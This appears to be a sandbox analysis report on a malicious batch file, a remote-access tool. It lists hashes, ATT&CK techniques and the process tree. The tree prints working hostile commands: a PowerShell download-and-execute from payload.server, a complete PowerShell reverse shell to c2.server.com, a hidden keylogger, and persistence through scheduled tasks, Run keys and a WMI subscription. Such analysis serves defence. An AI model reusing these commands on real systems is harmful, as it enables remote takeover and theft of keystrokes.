ab44f51835baedfd4c59ba240295aaf42d5e59a36ab80f4baa195ed55c9988e7

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:38

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General

Target
rat_build_256258_014659.bat
Size 4KB
Sample260529-b2rt3shs5w
SHA256 ab44f51835baedfd4c59ba240295aaf42d5e59a36ab80f4baa195ed55c9988e7
MD5 ce8f2a30270d9a9d123ffec7574b3ec5
SHA1 502c9f04ef532b46064b32c5f7a9128f6e0b3b1f
SHA512 08c599bcd89181e59c25d480ea6e466673597e5672c19a9eb96871cf5114634b2362e4162bf4a3af21a6432dc12bcf8b48f160e9ae8df5f543f0f73478c418d6
SSDEEP 96:YIft6WU29US3plyIbI1eRijgUdgQStXaxKqiSg682nMOuiFgZk8mvlo1twpM/:YmvU29UW5k1LUDQuz3SlMPiFgkHlqwO/
TLSH
T148B10813579B71208AF45629DD323C48531CCAFB0305DE8DAB858EC8099CFC3E56AAE7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_256258.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3932	powershell.exe
4656	powershell.exe
2520	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_256258 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_256258.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3720	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1384	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3956	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2540	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3932	powershell.exe
3932	powershell.exe
4656	powershell.exe
4656	powershell.exe
2520	powershell.exe
2520	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4328	WMIC.exe
Token: SeSecurityPrivilege	4328	WMIC.exe
Token: SeTakeOwnershipPrivilege	4328	WMIC.exe
Token: SeLoadDriverPrivilege	4328	WMIC.exe
Token: SeSystemProfilePrivilege	4328	WMIC.exe
Token: SeSystemtimePrivilege	4328	WMIC.exe
Token: SeProfSingleProcessPrivilege	4328	WMIC.exe
Token: SeIncBasePriorityPrivilege	4328	WMIC.exe
Token: SeCreatePagefilePrivilege	4328	WMIC.exe
Token: SeBackupPrivilege	4328	WMIC.exe
Token: SeRestorePrivilege	4328	WMIC.exe
Token: SeShutdownPrivilege	4328	WMIC.exe
Token: SeDebugPrivilege	4328	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4328	WMIC.exe
Token: SeRemoteShutdownPrivilege	4328	WMIC.exe
Token: SeUndockPrivilege	4328	WMIC.exe
Token: SeManageVolumePrivilege	4328	WMIC.exe
Token: 33	4328	WMIC.exe
Token: 34	4328	WMIC.exe
Token: 35	4328	WMIC.exe
Token: 36	4328	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4328	WMIC.exe
Token: SeSecurityPrivilege	4328	WMIC.exe
Token: SeTakeOwnershipPrivilege	4328	WMIC.exe
Token: SeLoadDriverPrivilege	4328	WMIC.exe
Token: SeSystemProfilePrivilege	4328	WMIC.exe
Token: SeSystemtimePrivilege	4328	WMIC.exe
Token: SeProfSingleProcessPrivilege	4328	WMIC.exe
Token: SeIncBasePriorityPrivilege	4328	WMIC.exe
Token: SeCreatePagefilePrivilege	4328	WMIC.exe
Token: SeBackupPrivilege	4328	WMIC.exe
Token: SeRestorePrivilege	4328	WMIC.exe
Token: SeShutdownPrivilege	4328	WMIC.exe
Token: SeDebugPrivilege	4328	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4328	WMIC.exe
Token: SeRemoteShutdownPrivilege	4328	WMIC.exe
Token: SeUndockPrivilege	4328	WMIC.exe
Token: SeManageVolumePrivilege	4328	WMIC.exe
Token: 33	4328	WMIC.exe
Token: 34	4328	WMIC.exe
Token: 35	4328	WMIC.exe
Token: 36	4328	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3128	WMIC.exe
Token: SeSecurityPrivilege	3128	WMIC.exe
Token: SeTakeOwnershipPrivilege	3128	WMIC.exe
Token: SeLoadDriverPrivilege	3128	WMIC.exe
Token: SeSystemProfilePrivilege	3128	WMIC.exe
Token: SeSystemtimePrivilege	3128	WMIC.exe
Token: SeProfSingleProcessPrivilege	3128	WMIC.exe
Token: SeIncBasePriorityPrivilege	3128	WMIC.exe
Token: SeCreatePagefilePrivilege	3128	WMIC.exe
Token: SeBackupPrivilege	3128	WMIC.exe
Token: SeRestorePrivilege	3128	WMIC.exe
Token: SeShutdownPrivilege	3128	WMIC.exe
Token: SeDebugPrivilege	3128	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3128	WMIC.exe
Token: SeRemoteShutdownPrivilege	3128	WMIC.exe
Token: SeUndockPrivilege	3128	WMIC.exe
Token: SeManageVolumePrivilege	3128	WMIC.exe
Token: 33	3128	WMIC.exe
Token: 34	3128	WMIC.exe
Token: 35	3128	WMIC.exe
Token: 36	3128	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3128	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 5112 wrote to memory of 2540	5112	cmd.exe	87
PID 5112 wrote to memory of 3956	5112	cmd.exe	88
PID 5112 wrote to memory of 4328	5112	cmd.exe	89
PID 5112 wrote to memory of 3128	5112	cmd.exe	90
PID 5112 wrote to memory of 2916	5112	cmd.exe	91
PID 5112 wrote to memory of 1384	5112	cmd.exe	99
PID 5112 wrote to memory of 3720	5112	cmd.exe	102
PID 5112 wrote to memory of 3932	5112	cmd.exe	103
PID 5112 wrote to memory of 4656	5112	cmd.exe	104
PID 5112 wrote to memory of 2520	5112	cmd.exe	105

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_256258_014659.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5112
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_256258" /tr "C:\Users\Admin\AppData\Local\Temp\_256258.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2540
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_256258" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_256258.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3956
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_256258", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4328
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_256258", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_256258.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3128
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_256258.txt
  2⤵
  PID:2916
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:1384
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:3720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_256258.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2520

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 80088d017be45e8f88bf16df3addaa45531809419649664eefd2a5119c42675a
MD5 f2684f7d986f2f1c0ada186b72e516ee
SHA1 aec84a48e047137ad66e6d90b94415dba40f5e71
SHA512 8f25d2b803efd3ec0275ca1ce536a7ecb66d3d612f373e1fb517ac9ebe7396ae3e794183e64e93a876c0ec9ed041a53d586acc9c9f119a600d6c9439cefa5202
TLSH
T1A8117627F39CC921CC96153A509DAC1172B683DB81AEDF9F6FC4D214A17F984CB712A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bdf7b694e395450108e7d79ea6b7d14323ba10a91b6157d637d1e03b9ce8b9b1
MD5 4d18a024ae042f3fefa037024653c4e3
SHA1 40bcdd726bc42cb72af66d7f6c5664af54536b2f
SHA512 80567b902ba681a9b5877f93d16b068155b0de43f3f56293fa94a25d0cd035c0747a6e3c891da126de9e198f104ea7ac32e7ef7472eb752aa8a563d1f00b5994
TLSH
T120115727B39C89A1CC96153A409D9C1172B683DB809EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_bsyzltki.rp0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bsyzltki.rp0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2520-35-0x0000027F1A5D0000-0x0000027F1A71E000-memory.dmp

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memory/2520-34-0x0000027F1A2B0000-0x0000027F1A4CC000-memory.dmp

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memory/3932-3-0x00000236AD110000-0x00000236AD132000-memory.dmp

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memory/3932-13-0x00000236C6140000-0x00000236C628E000-memory.dmp

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memory/4656-24-0x000002381FEE0000-0x000002382002E000-memory.dmp

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